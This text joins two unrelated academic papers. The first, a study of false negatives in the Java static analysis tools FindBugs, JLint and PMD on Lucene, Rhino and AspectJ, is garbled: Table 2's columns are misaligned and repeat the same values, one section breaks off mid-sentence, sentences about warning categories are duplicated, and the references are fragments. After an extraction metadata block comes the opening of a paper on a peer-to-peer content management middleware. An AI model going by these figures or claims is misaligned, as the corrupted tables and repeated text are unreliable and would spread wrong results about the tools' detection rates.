We evaluate three static bug finding tools, namely FindBugs, JLint, and PMD, on three open source projects: Lucene, Rhino, and AspectJ. Lucene is a general purpose text search engine library [1]. Rhino is an implementation of JavaScript written in Java [2]. AspectJ is an aspect-oriented extension of Java [3]. The average sizes of Lucene, Rhino, and AspectJ are around 265,822, 75,544, and 448,176 lines of code (LOC) respectively. We crawl JIRA for defects tagged for Lucene version 2.9. For Rhino and AspectJ, we analyze the iBugs repository prepared by Dallmeier and Zimmermann [19]. We show the numbers of unambiguous defects that we are able to manually locate root causes from the three datasets in Table 1 together with the total numbers of defects available in the datasets and the average faulty lines per defect.
<table>
<thead>
<tr>
<th>Dataset</th>
<th># of Unambiguous Defects</th>
<th># of Defects</th>
<th>Avg # of Faulty Lines Per Defect</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lucene</td>
<td>28</td>
<td>57</td>
<td>3.54</td>
</tr>
<tr>
<td>Rhino</td>
<td>20</td>
<td>32</td>
<td>9.1</td>
</tr>
<tr>
<td>AspectJ</td>
<td>152</td>
<td>350</td>
<td>4.07</td>
</tr>
</tbody>
</table>
4.2 Experimental Results
We answer the three research questions as follows.
4.2.1 RQ1: Number of Missed Defects
We show the number of missed defects by each and all of the three tools, for Lucene, Rhino, and AspectJ in Table 2. We do not summarize across software projects as the numbers of warnings for different projects differ greatly and any kind of summarization across projects may not be meaningful. We first show the results for all defects, and then zoom into subsets of the defects that span a small number of lines of code, and those that are severe. Our goal is to evaluate the effectiveness of state-of-the-art static bug finding tools in terms of their false negative rates. We would also like to evaluate whether false negative rates may be reduced if we use all three tools together.
A. All Defects.
Lucene. For Lucene, as shown in Table 2, we find that with all three tools, 35.7% of all defects could be fully identified (i.e., all faulty lines `Faulty[i]` of a defect `i` are flagged). An addition of 14.3% of the defects could also be partially identified (i.e., some but not all faulty lines in `Faulty[i]` are flagged). Still, 50% of the defects could not be flagged by the tools. Thus, the three tools are effective but are not very successful in capturing Lucene defects. Among the tools, PMD captures the most numbers of bugs, followed by FindBugs, and finally JLint.
Rhino. For Rhino, as shown in Table 2, we find that with all three tools, 95% of all defects could be fully identified. Only 5% of the defects could not be captured by the tools. Thus, the tools are very effective in capturing Rhino defects. Among the tools, FindBugs captures the most numbers of defects, followed by PMD, and finally JLint.
AspectJ. For AspectJ, as shown in Table 2, we find that with all three tools, 70.4% of all defects could be fully captured. Also, another 27.6% of the defects could be partially captured. Only 1.9% of the defects could not be captured by any of the tools. Thus, the tools are very effective in capturing AspectJ defects. PMD captures the most numbers of defects, followed by FindBugs, and finally JLint.
Table 2: Percentages of Defects that are Missed, Partially Captured, and Fully Captured. The numbers in the parentheses indicate the numbers of actual faulty lines captured, if any.
<table>
<thead>
<tr>
<th>Tools vs. Programs</th>
<th>Lucene</th>
<th>Rhino</th>
<th>AspectJ</th>
</tr>
</thead>
<tbody>
<tr>
<td>FindBugs</td>
<td>Miss</td>
<td>14.3% (5)</td>
<td>14.3% (8)</td>
</tr>
<tr>
<td></td>
<td>Partial</td>
<td>7.1% (4)</td>
<td>10.0% (2)</td>
</tr>
<tr>
<td></td>
<td>Full</td>
<td>80.0% (17)</td>
<td>10.0% (10)</td>
</tr>
<tr>
<td>JLint</td>
<td>Miss</td>
<td>10.7% (3)</td>
<td>4.9% (1)</td>
</tr>
<tr>
<td></td>
<td>Partial</td>
<td>35.7% (13)</td>
<td>4.9% (1)</td>
</tr>
<tr>
<td></td>
<td>Full</td>
<td>42.9% (15)</td>
<td>4.9% (1)</td>
</tr>
<tr>
<td>PMD</td>
<td>Miss</td>
<td>14.3% (11)</td>
<td>5.0% (18)</td>
</tr>
<tr>
<td></td>
<td>Partial</td>
<td>35.7% (13)</td>
<td>5.0% (18)</td>
</tr>
<tr>
<td></td>
<td>Full</td>
<td>42.9% (15)</td>
<td>5.0% (18)</td>
</tr>
<tr>
<td>All</td>
<td>Miss</td>
<td>14.3% (11)</td>
<td>5.0% (18)</td>
</tr>
<tr>
<td></td>
<td>Partial</td>
<td>35.7% (13)</td>
<td>5.0% (18)</td>
</tr>
<tr>
<td></td>
<td>Full</td>
<td>42.9% (15)</td>
<td>5.0% (18)</td>
</tr>
</tbody>
</table>
Also, to compare the bug finding tools, we show the average number of lines in one defect program version (over all defects) that are flagged by the tools for our subject programs in Table 3. We note that PMD flags the most numbers of lines of code, and likely produces more false positives than others, while JLint flags the least numbers of lines of code. With respect to the average sizes of programs (see Column “Avg # LOC” in Table 4), the tools may flag 0.2% to 56.9% of the whole program as buggy.
Table 3: Average Numbers of Lines Flagged Per Defect Version by Various Static Bug Finding Tools.
<table>
<thead>
<tr>
<th>Tools vs. Programs</th>
<th>Lucene</th>
<th>Rhino</th>
<th>AspectJ</th>
</tr>
</thead>
<tbody>
<tr>
<td>FindBugs</td>
<td>33,208.52</td>
<td>40,511.55</td>
<td>83,320.09</td>
</tr>
<tr>
<td>JLint</td>
<td>515.54</td>
<td>330.6</td>
<td>720.44</td>
</tr>
<tr>
<td>PMD</td>
<td>124,281.5</td>
<td>42,999.3</td>
<td>198,065.51</td>
</tr>
<tr>
<td>All</td>
<td>126,367.75</td>
<td>52,123.05</td>
<td>220,265.92</td>
</tr>
</tbody>
</table>
Note that there may be many other issues in a version besides the defect in our dataset in a program version, and a tool may generate many warnings for the version. These partially explain the high average numbers of lines flagged in Table 3. To further understand these numbers, we present more statistics about the warnings generated by the tools for each of the three programs in Table 4. Column “Avg # Warning” provides the average number of reported warnings. Column “Avg # Flagged Line Per Warning” is the average number of lines flagged by a warning. Column “Avg # Unfixed” is the average number of lines of code that are flagged but are not buggy lines fixed in a version. Column “Avg # LOC” is the number of lines of code in a particular software system (across all buggy versions). We notice that the average number of warnings generated by PMD is high. FindBugs reports less warnings but many warnings span many consecutive lines of code. Many flagged lines do not correspond to the buggy lines fixed in a version. These could either be false positives or bugs found in the future. We do not check the exact number of false positives though, as they require much manual labor (i.e., checking thousands of warnings in each of the hundreds of program versions), and they are the subject of other studies (e.g., [25]). On the other hand, the high numbers of flagged lines raise concerns with the effectiveness of warnings generated by the tools: Are the warnings effectively correlated with actual defects?
To answer such a question, we create random “bug” finding tools that would randomly flag some lines of code as buggy according to the distributions of the number of the lines flagged by each warning generated by each of the three bug finding tools, and compare the bug capturing effectiveness of such random tools with the actual tools. For each version of the subject programs and each of the actual tools, we run a random tool 10,000 times; each time the random tool would randomly generate the same number of warnings by following the distribution of the numbers of lines flagged by each warning; then, we count the numbers of missed, partially captured, and fully captured defects by the random tool; finally, we compare the effectiveness of the random tools with the actual tools by calculating the p-values as in Table 5. A value x in each cell in the table means that our random tool would have x x 100% chance to get at least as good results as the actual tool for either partially or fully capturing the bugs. The values in the table imply the actual tools may indeed detect more bugs than random tools, although they may produce many false positives. However, some tools for some programs, such as PMD for Lucene, may not be much better than random tools. If there is no correlation between the warnings generated by the actual tools with actual defects, the tools should not perform differently from the random tools. Our results show that this is not the case at least for some tools with some programs.
Table 5: p-values among random and actual tools.
<table>
<thead>
<tr>
<th>Tool</th>
<th>Program</th>
<th>Full</th>
<th>Partial</th>
<th>Full</th>
</tr>
</thead>
<tbody>
<tr>
<td>FindBugs</td>
<td>Lucene</td>
<td>0.2766</td>
<td>0.1167</td>
<td>0.0001</td>
</tr>
<tr>
<td></td>
<td>Rhino</td>
<td><0.0001</td>
<td>0.0081</td>
<td>0.0015</td>
</tr>
<tr>
<td></td>
<td>AspectJ</td>
<td>0.5248</td>
<td>0.0015</td>
<td>0.0001</td>
</tr>
<tr>
<td>JLint</td>
<td>Lucene</td>
<td>0.0011</td>
<td><0.0001</td>
<td>0.0001</td>
</tr>
<tr>
<td></td>
<td>Rhino</td>
<td><0.0001</td>
<td>0.0001</td>
<td>0.0364</td>
</tr>
<tr>
<td></td>
<td>AspectJ</td>
<td>0.0222</td>
<td>0.0364</td>
<td>0.0001</td>
</tr>
<tr>
<td>PMD</td>
<td>Lucene</td>
<td>0.9996</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>Rhino</td>
<td>0.9996</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td></td>
<td>AspectJ</td>
<td>0.9996</td>
<td><0.0001</td>
<td>1</td>
</tr>
</tbody>
</table>
B. Localized Defects.
Many of the defects that we analyze span more than a few lines of code. We further focus only on defects that can be localized to a few lines of code (at most five lines of code, which we call localized defects), and investigate the effectiveness of the various bug finding tools. We show the numbers of missed localized defects by the three tools, for Lucene, Rhino, and AspectJ in Tables 6.
Lucene. Table 6 shows that the tools together fully identify 47.6% of all localized defects and partially identify another 14.3%. This is only slightly higher than the percentage for all defects (see Table 2). The ordering of the tools based on their ability to fully capture localized defects is the same.
Rhino. As shown in Table 6, all three tools together could fully identify 93.3% of all localized defects. This is slightly lower than the percentage for all defects (see Table 2).
AspectJ. Table 6 shows that the tools together fully capture 78.9% of all localized defects and miss only 0.8%. These are better than the percentages for all defects (see Table 2).
C. Severe Defects.
Different defects are often labeled with different severity levels. We further focus only on defects at severe levels:
we manually analyze to see if the warnings dereference, then the warning must explicitly say so. Again the type of the warnings must be directly related to the faulty lines. For example, if the faulty line is a null pointer dereference, then the warning must explicitly say so. Again we manually analyze to see if the warnings strictly captures the defect. We focus on defects that are localized to one line of code due to limited manpower. There are 7 bugs, 5 bugs, and 66 bugs for Lucene, Rhino, and AspectJ respectively that can be localized to one line of code.
We show the results of our analysis for Lucene, Rhino, and AspectJ in Table 8. We notice that under this stricter requirement, very few of the defects fully captured by the tools (see Column “Full”) are strictly captured by the same tools (see Column “Strict”). Thus, although the faulty lines might be flagged by the tools, the warning messages from the tools may not have sufficient information for the developers to understand the defects.
### 4.2.2 RQ2: Effectiveness of Different Warnings
We show the effectiveness of various warning families of FindBugs, PMD, and JLint in flagging defects in Tables 9, 10, and 11 respectively. We highlight the top-5 warning families in terms of their ability in fully capturing the root causes of the defects.
**FindBugs.** For FindBugs, as shown in Table 9, in terms of low false negative rates, we find that the best warning families are: Style, Performance, Malicious Code, Bad Practice, and Correctness. Warnings in the style category include switch statement having one case branch to fall through to the next case branch, switch statement having no default case, assignment to a local variable which is never used, unread public or protected field, a referenced variable contains null value, etc. Warnings belonging to the malicious code category include a class attribute should be made final, a class attribute should be package protected, etc. Furthermore, we find that a violation of each of these warnings would likely flag an entire class that violates it. Thus, a lot of lines of code would be flagged, making it having a higher chance of capturing the defects. Warnings belonging to the bad practice category include correct comparison of String objects using == or !=, a method ignores exceptional return value, etc. Performance related warnings include method concatenates strings using + instead of StringBuffer, etc. Correctness related warnings include method concatenates strings using + instead of StringBuffer, etc. Performance related warnings include method concatenates strings using + instead of StringBuffer, etc. Correctness related warnings include method concatenates strings using + instead of StringBuffer, etc.
4.2.3 RQ3: Characteristics of Missed Defects
There are 19 defects that are missed by all three tools. These defects involve logical or functionality errors and thus are difficult to be detected by static bug finding tools without the knowledge of the specification of the systems. We can categorize the defects into several categories: method calls (addition, removal of method calls), changes to parameters passed in to methods), pre-condition checks (addition, removal, or changes to pre-condition checks), assignment operations (wrong value being assigned to variables), and others (missing type cast, etc.). Often, one defect can be classified into different categories.
A sample defect missed by all three tools is shown in Figure 6, which involves an invocation of a wrong method.
4.3 Threats to Validity
Threat to internal validity includes experimental bias. We manually extract faulty lines from changes that fix them that might have error prone. To reduce this threat, we have checked and refined the result of the analysis several times. We also exclude the defects that ambiguously localize to a set of faulty lines of code. Also, we exclude some versions of our subject programs that cannot be compiled. There might also be implementation errors in various scripts and code used to collect and evaluate bugs.
Threat to external validity is related to the generalizability of our findings. In this work, we only analyze three static bug finding tools and three open source Java programs. We analyze only one version of Lucene dataset; for Rhino and AspectJ, we only analyze defects that are available in iBugs. Also, we investigate only defects that get reported and fixed. In the future, we could analyze more programs and more defects to reduce selection bias. Also, we plan to investigate more bug finding tools and programs in various languages.
5. RELATED WORK
We summarize related studies on bug finding, warning prioritization, bug triage, and empirical study on defects.
5.1 Bug Finding
There are many bug finding tools proposed in the literature [12, 21, 26, 37, 39, 45, 46]. A short survey of these tools has been provided in Section 2. In this study, we focus on three static bug finding tools for Java, including FindBugs, PMD, and JLint. These tools are relatively lightweight, and have been applied to large systems.
None of these bug finding tools is able to detect all kinds of bugs. To the best of our knowledge, there is no study on
the false negative rates of these tools. We are the first to
carry out an empirical study to answer this issue based on
a few hundreds of real-life bugs from three Java programs.
In the future, we plan to investigate other bug finding tools
with more programs written in different languages.
5.2 Warning Prioritization
Many studies deal with the many false positives produced
by various bug finding tools. Kremenek et al. use z-ranking
to prioritize warnings [34]. Kim et al. prioritize warning
categories using historical data [32]. Ruthruff et al. predict
actionable static analysis warnings by proposing a logistic
regression model that differentiates false positives from ac-
tionable warnings [44]. Liang et al. propose a technique to
construct a training set for better prioritization of static
analysis warnings prioritization has been written by Heck-
man and Williams [25]. There are large scale studies on the
false positives produced by FindBugs [6,7].
While past studies on warning prioritization focus on cop-
ing with false positives with respect to actionable warnings,
we investigate an orthogonal problem on false negatives.
False negatives are important as it can cause bugs to go
unnoticed and cause harm when the software is used by end
users. Analyzing false negatives is also important to guide
future research on building additional bug finding tools.
5.3 Bug Triage
Even when the bug reports, either from a tool or from
a human user, are all for real bugs, the sheer number of
reports can be huge for a large system. In order to allo-
cate appropriate development and maintenance resources,
project managers often need to triage the reports.
Cubranic et al. [18] propose a method that uses text cat-
gorization to triage bug reports. Anvik et al. [4] use ma-
chine learning techniques to triage bug reports. Hooimeijer
et al. [27] construct a descriptive model to measure the qual-
ity of bug reports. Jeong et al. [30] improve triage accuracy
by using tossing graphs. Park et al. [42] propose CosTriage
that further takes the cost associated with bug reporting
and fixing into consideration. Sun et al. [47] use data min-
ing techniques to detect duplicate bug reports.
Different from warning prioritization, these studies ad-
dress the problem of too many true positives. They are also
different from our work which deals with false negatives.
5.4 Empirical Studies on Defects
Many studies investigate the nature of defects. Pan et
al. investigate different bug fix patterns for various software
systems [41]. They highlight patterns such as method calls
with different actual parameter values, change of assignment
expressions, etc. Chou et al. perform an empirical study of
operating system errors [13].
Closest to our work is the study by Rutar et al. on the
comparison of bug finding tools in Java [43]. They compare
the number of warnings generated by various bug finding
tools. However, no analysis have been made as to whether
there are false positives or false negatives. The authors com-
mended that: “An interesting area of future work is to gather
extensive information about the actual faults in programs,
which would enable us to precisely identify false positives
and false negatives.” In this study, we address the false neg-}
6. CONCLUSION AND FUTURE WORK
Defects can cause much harm to software houses and end-
users. A number of bug finding tools have been proposed
to catch defects from software systems. In this work, we
perform an empirical study on the effectiveness of several
state-of-the-art static bug finding tools in preventing real-
life defects. We investigate 3 bug finding tools, FindBugs,
JLint, and PMD, on 3 open source programs, Lucene, Rhino,
and AspectJ. We manually analyze 200 reported and fixed
defects and extract faulty lines of code responsible for these
defects from their treatments. We find that for Rhino and
AspectJ, most defects could be partially or fully captured
by combining the bug finding tools. For Lucene, a substan-
tial proportion of defects (i.e., 50%) are missed. We find
that FindBugs and PMD are the best among the three bug
finding tools that we study here in terms their ability to
prevent false negatives. However, we also note that these
two tools flag more lines of code than JLint. Our stricter
analysis sheds light that although many of these warnings
cover faulty lines, often the warnings are too generic and de-
velopers would need to carefully investigate the code to find
the defects. We find that some bugs are not flagged by any
of the three bug finding tools – these bugs involve logical or
functionality errors that are difficult to be detected without
any specification of the system.
As a future work, we would like to build a new static
analysis tool that automatically extracts the faulty lines of
code responsible for the defects from their symptoms.
Acknowledgement. We thank the researchers creating
and maintaining the iBugs repository which is publicly avail-
able at http://www.st.cs.uni-saarland.de/ibugs/. We
also appreciate very much the valuable comments from anonym-
ous reviewers and our shepherd Andreas Zeller for improv-
ing the quality of the paper.
7. REFERENCES
http://lucene.apache.org/core/.
http://www.mozilla.org/rhino/.
http://www.eclipse.org/aspectj/.
this bug? In ICSE, pages 361–370, 2006.
J. Penix, and W. Pugh. Using static analysis to find
|
{"Source-Url": "http://macbeth.cs.ucdavis.edu/ase12FNStudy.pdf", "len_cl100k_base": 9858, "olmocr-version": "0.1.48", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 35624, "total-output-tokens": 10420, "length": "2e13", "weborganizer": {"__label__adult": 0.0003018379211425781, "__label__art_design": 0.00023293495178222656, "__label__crime_law": 0.0003483295440673828, "__label__education_jobs": 0.0006952285766601562, "__label__entertainment": 4.845857620239258e-05, "__label__fashion_beauty": 0.00012576580047607422, "__label__finance_business": 0.00012922286987304688, "__label__food_dining": 0.00019741058349609375, "__label__games": 0.0005197525024414062, "__label__hardware": 0.0006694793701171875, "__label__health": 0.0003273487091064453, "__label__history": 0.0001494884490966797, "__label__home_hobbies": 5.9604644775390625e-05, "__label__industrial": 0.0002186298370361328, "__label__literature": 0.00021898746490478516, "__label__politics": 0.00016129016876220703, "__label__religion": 0.00030517578125, "__label__science_tech": 0.00821685791015625, "__label__social_life": 8.189678192138672e-05, "__label__software": 0.006916046142578125, "__label__software_dev": 0.9794921875, "__label__sports_fitness": 0.00022280216217041016, "__label__transportation": 0.00026535987854003906, "__label__travel": 0.0001264810562133789}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 42247, 0.04372]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 42247, 0.24905]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 42247, 0.92425]], "google_gemma-3-12b-it_contains_pii": [[0, 4686, false], [4686, 11136, null], [11136, 18015, null], [18015, 18339, null], [18339, 24270, null], [24270, 31223, null], [31223, 33978, null], [33978, 36451, null], [36451, 42247, null], [42247, 42247, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4686, true], [4686, 11136, null], [11136, 18015, null], [18015, 18339, null], [18339, 24270, null], [24270, 31223, null], [31223, 33978, null], [33978, 36451, null], [36451, 42247, null], [42247, 42247, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 42247, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 42247, null]], "pdf_page_numbers": [[0, 4686, 1], [4686, 11136, 2], [11136, 18015, 3], [18015, 18339, 4], [18339, 24270, 5], [24270, 31223, 6], [31223, 33978, 7], [33978, 36451, 8], [36451, 42247, 9], [42247, 42247, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 42247, 0.12676]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
13b56592d16bf924be4d5975efd9f9544cae0226
|
Design of a distributed P2P-based content management middleware
Author(s):
Hausheer, D.; Stiller, B.
Publication Date:
2003-01
Permanent Link:
https://doi.org/10.3929/ethz-a-004462305
Rights / License:
In Copyright - Non-Commercial Use Permitted
David Hausheer, Burkhard Stiller
Design of a Distributed P2P-based Content Management Middleware
TIK-Report
Nr. 156, January 2003
Design of a Distributed P2P-based Content Management Middleware
David Hausheer¹, Burkhard Stiller²,¹
¹ Computer Engineering and Networks Laboratory TIK
Swiss Federal Institute of Technology, ETH Zurich, Switzerland
² Information Systems Laboratory IIS
University of the Federal Armed Forces Munich, Germany
[hausheer|stiller]@tik.ee.ethz.ch
Abstract. There is an emerging need for Content Management Systems (CMS) enabling collaborative development, administration, and distribution of large amounts of content, in particular web content, which enforces an increasing number of different types and formats of content that is made accessible over the Internet. Most of these systems are currently based on a client/server architecture, where content storage and management are performed centrally on a dedicated server. While such centralized systems simplify the management with respect to data consistency, security, and accountability, they usually lack scalability and reliability. Pure peer-to-peer (P2P) network architectures are based on the assumption that no central server exists and has to be relied on, since every peer can (or rather needs to) participate in the provisioning of core system functionality that would be provided otherwise by a single server. A P2P-based CMS scales much better, because available system resources increase linearly with the number of participating peers. Moreover, the reliability of the system can be made very high, since the degree of system redundancy can be increased without much effort. However, compared to the centralized approach, conventional CMS tasks, such as versioning as well as access control and accounting, become more complicated in a distributed environment with potentially many replicas of the same content. This paper proposes a completely distributed P2P-based content management system in support of access control and accounting while taking into account key aspects following from the nature of distributed systems.
Keywords: Content Management, Peer-to-Peer, Access Control, Accounting, Content Distribution, Collaboration
1 Introduction
The entire amount of digital information in the world represents a huge distributed and loosely connected information system which is growing very fast on a daily basis. A lot of this information is available as content in the World Wide Web and can be accessed over the Internet. The maintenance of this huge amount of distributed content is a difficult task that already can be challenging for only a small part of the system, e.g., the information of a single company [13]. Content Management Systems (CMS) determine a valuable means to simplify the creation and maintenance of content, e.g., WebDAV for web pages [27] or CVS for programming code [11]. The major set of tasks for these
systems are thereby versioning control, access control, and transparent data storage. Moreover, by means of concurrent versioning mechanisms they enable collaborative work. During the last few years a set of new frameworks have been developed focusing specifically on Web Content Management (WCM), e.g., the Python-based Zope [30] or the Java-based Cocoon [10]. These powerful WCM frameworks enable fast deployment and simple maintenance of large web sites, while supporting versioning and access control, workflow management, and other CM functionalities.
Most of these systems, however, are entirely based on a client/server architecture where data storage, access control, and management tasks are performed on a central server, that can be accessed by all clients. This works well for a small static amount of content and clients, where the need for hardware resources can be determined very well. However, for a large and highly fluctuating demand of resources it does not scale anymore. Moreover, if for any reason the central server fails, the entire system would not be available anymore.
In a pure peer-to-peer-based network, in the absence of any central server, the content as well as its management and provisioning functionality are distributed and replicated among several peers. This approach has a number of benefits: First, it enables the deployment of suitable load balancing mechanisms and removes the potential bottleneck of the central server. The more content and system functionality is replicated on several peers, the higher the overall system reliability grows. In addition, a P2P-based content management system is much more scalable and robust, as the load caused by a participating peer can be compensated with the resources provided by that peer.
On the other hand, the P2P approach results in a set of challenges with respect to the key aspects of distributed and replicated content that a distributed content management solution has to deal with. Major problems being identified are replication consistency, search, access control, and accounting. While distributed search and replication are currently widely investigated, access control and accounting, which are crucial mechanisms with respect to digital rights management and content charging, are yet in its infancy in P2P systems.
This paper proposes a distributed P2P-based content management system dealing with the maintenance and distribution of high-value content in P2P networks. High-value content requires the deployment of suitable protection and charging mechanisms. The presented system focuses on these specific requirements and tackles the challenges of P2P systems mentioned above. The approach proposed is based on a P2P services architecture [14] which is currently being developed within the MMAPPS project [20].
The remainder of this paper is organized as follows: Section 2 details and discusses the requirements for the proposed system based on different content management scenarios. Section 3 introduces the generic content management architecture presenting the content model and those components of major functionality. Furthermore, it sketches the adopted P2P services architecture and summarizes key design issues. While Section 4 offers the design and implementation of the proposed distributed content management system, its evaluation on the basis of a specific scenario is discussed in Section 5.
2 Scenarios and Requirements
Content management systems are used for different purposes being referred to here as content management scenarios. Each of these scenarios has different requirements on functionalities and their levels of strength that need to be provided by the system. These requirements are affiliated with properties, which differentiate types of content and content management scenarios.
2.1 Content Properties
**Popularity.** Content can range from popular to unpopular. The more people are interested in specific content, the more popular it is. The latest album of a famous musician is a good example for popular content, while most of those emails being sent might be very unpopular. The popularity of content has a number of impacts on content management systems. Popular content will be acquired very frequently and, therefore, will cause heavy loads on the provisioning infrastructure. Thus, there is a strong need for content replication and appropriate load balancing as well as scheduling mechanisms, which are able to distribute the load among caches or replicas of the same content in a fair manner. Moreover, scalability of the provisioning infrastructure is an important requirement, especially, if size and popularity of specific content varies heavily.
**Topicality.** Content can remain unchanged for a long time (which does not necessarily have to be negative) or be changed very frequently. In the extreme case, content might be generated dynamically, e.g., based on a user profile and interaction (content personalization). The topicality might be more or less crucial in a specific scenario. In some cases, where content changes quite frequently, e.g., in an on-line newspaper, it may not be a tragedy, if one gets a slightly older version of the content. However, often it is important to be able to access the latest version, e.g., in a collaboration scenario. Thus, the required level of consistency among several potential replicas of content has a strong influence on appropriate versioning control mechanisms in content management systems.
**Quality.** Content can be sensitive with respect to quality aspects of the content distribution service, e.g., latency, bandwidth, or jitter. Depending on these sensitivities a content management system faces different QoS requirements that will lead to the allocation of enough resources for content provisioning and distribution. A content-based approach that deals with resource provisioning for multiple levels-of-service can, e.g., be found in [17].
**Value.** Content can have a large or a small value. The value of content depends on people’s valuation to the content, e.g., depending on their interests and the reception of its quality. Usually the value of content can be represented by an according monetary price. [18] describes a content valuation model, which dynamically determines the optimal price for content based on customer behavior. Thus, the content value has again a strong impact on the content management system. Content to be charged for needs accounting support and has to be protected appropriately by means of access control and other suitable digital rights enforcement mechanisms. While free content does not necessarily
need charging, accounting and access control might still be necessary for monitoring and protection purposes.
**Security.** Content may have a strong need for protection based on different levels of security. Large-value content needs to be protected against unauthorized access. The same holds true for content, which needs to be kept secret for other reasons. Different security properties may also apply for read, write, and other form of access to content.
**Reliability.** Content can be sensible in terms of reliability, i.e., service availability and content persistency. It may be tolerated, if a personal homepage is only available 90% of the time. However, in other scenarios an availability and persistency of as close as 99.999% is required. Therefore, content has to be replicated and appropriate consistency mechanisms are required.
### 2.2 CMS Scenarios
During its life cycle content usually experiences several different phases, each of which addressing particular aspects. Figure 1 depicts those three main phases, which can be observed in many scenarios:
- collaboration,
- management, and
- distribution.

As indicated, a content life cycle can actually be represented as a closed loop since previously distributed content might influence or be used in new collaboration scenarios. In general, a CMS has to deal with diverse requirements derived from content properties in each of these phases. However, a clear observation determines that a single CMS rarely covers all phases together. Usually there exist individual solutions covering only parts of one or two phases. For a complete support of content these specialized CMSs have to interoperate with each other, e.g., by applying a standardized scheme for content exchange.
A set of three different content management scenarios are described below, which have been selected to represent each of the three content life cycle phases presented. As shown in Table 1 these different scenarios are evaluated according to those content
Collaborative Content Development. This scenario focuses on the content creation process within a small group of people. A CMS can help to perform a reliable archiving and versioning of content, which is transparent to users. Such collaborative development is bounded usually to a small group, i.e., the popularity of such content is small in that sense. The topicality on the other hand is very high, since during a creation phase, content will change very frequently. Quality-of-Service (QoS) aspects are normally not an important issue in such a scenario, however, short latencies and high bandwidth to accelerate processes are of interest. The content value might in fact be quite high, however, since selling is normally not yet an issue, accounting is usually not necessary at this stage. In addition, security mechanisms are of importance, if access to the content needs to be restricted to a specific group of people. Therefore, there a strong need for distributed versioning, archiving, and access control mechanisms exists.
Corporate Web Content Management. This scenario deals with the maintenance of large corporate web portals. A CMS helps to administer the structure, design, and data of such web content separately. Moreover, it supports reuse of content and the definition of workflows for content editing and publishing, while it hides the underlying complexity for such processes to users. In such a scenario the content popularity might vary a lot, so the content distribution infrastructure needs to be very flexible in order to be able to react on variations of the current load. Unless content is generated dynamically based on the interaction between users and providers, e.g., for the personalization of content, the topicality is not so important, at least it might not be necessary to keep content replicas globally consistent. Although content charging is usually not an issue in such a scenario, quality aspects might still be important for corporate identity rea-
<table>
<thead>
<tr>
<th>Table 1: Evaluation of Properties for Different CMS Scenariosa</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
<tr>
<td>Popularity</td>
</tr>
<tr>
<td>Topicality</td>
</tr>
<tr>
<td>Quality</td>
</tr>
<tr>
<td>Value</td>
</tr>
<tr>
<td>Security</td>
</tr>
<tr>
<td>Reliability</td>
</tr>
</tbody>
</table>
a. The notations --, -, 0, +, and ++, respectively, relate to the importance of a content property in the according scenario.
sons, and accounting could be required for monitoring purposes. Content protection is important with respect to its modification, however, apart from that, any other security mechanisms are usually not required. Finally, reliability, although normally not required, determines an optional add-on, since the 99.999% availability of a corporate’s web page is important for the corporate’s identity. Therefore, there is need for scalability and QoS, as well as a minor need for security, accounting, and distributed versioning mechanisms.
**Multimedia Content Distribution.** In this scenario the focus is on distribution of large, high-quality, and high-value multimedia content, such as audio and video streams. A CMS can support the maintenance and distribution of such content in many different ways. The popularity of such content is normally very high unless, e.g., a multimedia conference between two parties is considered. With respect to topicality, once the content has left its source, it is usually not changed anymore. The most important requirements are the compliance of QoS parameters, and, for high-value marketed content, the accounting and protection of content access throughout the entire content distribution path. Therefore, scalability, QoS as well as accounting and security mechanisms are required.
Each of these scenarios can be found in a number of existing systems. While WebDAV [27] and CVS [11] are examples for the collaborative content development scenario, Zope [30] and Cocoon [10] exemplify the corporate web content management scenario. Finally, multimedia content distribution technologies can be found, e.g., in Akamai’s EdgeSuite [1] or NextPage’s NXT3 [23].
### 3 Architecture Models and Design
Based on such real-world CMS scenarios and their requirements as discussed above, building blocks of a Content Management Architecture (CMA) in terms of a set of generic models have been developed. Flexibility of the new CMA model is the key, mainly to be able to address any scenario’s requirements. While those generic content management models being presented below are independent of any underlying network architecture (client/server, peer-to-peer, or hybrid), a dedicated peer-to-peer service architecture is used to design the distributed content management system, which is presented in Section 4.
#### 3.1 Content Management Architecture
Key building blocks of the generic CMA are focused on two main models, a *content model* and a *content management model*. While the content model describes the "passive" part of content, such as its structure, format, and meta-information, the content management model represents the "active" part, i.e. the set of mechanisms or functions, which operate on the underlying content repository, e.g., by adding, manipulating, or removing content.
##### 3.1.1 Content Model
For an accurate view on a generic CMA it is necessary to specify what content is. In the literature many different views and definitions of content and content manage-
ment exist. *E.g.*, a detailed description of the problem field can be found in [4]. Following those definitions [4], content is considered as “user-friendly” information in a specific context. In contrast, data represents “computer-friendly” information, encoded as a set of bits or bytes. Data is usually of little use outside of any context, thus content, or rather a CMS, combines this raw information and determines its semantic. Thereby, necessary context information can be provided usually by meta data, i.e. information which describes the context by a set of property values or keywords. [5] is an approach that deals with context exchange in a distributed environment.
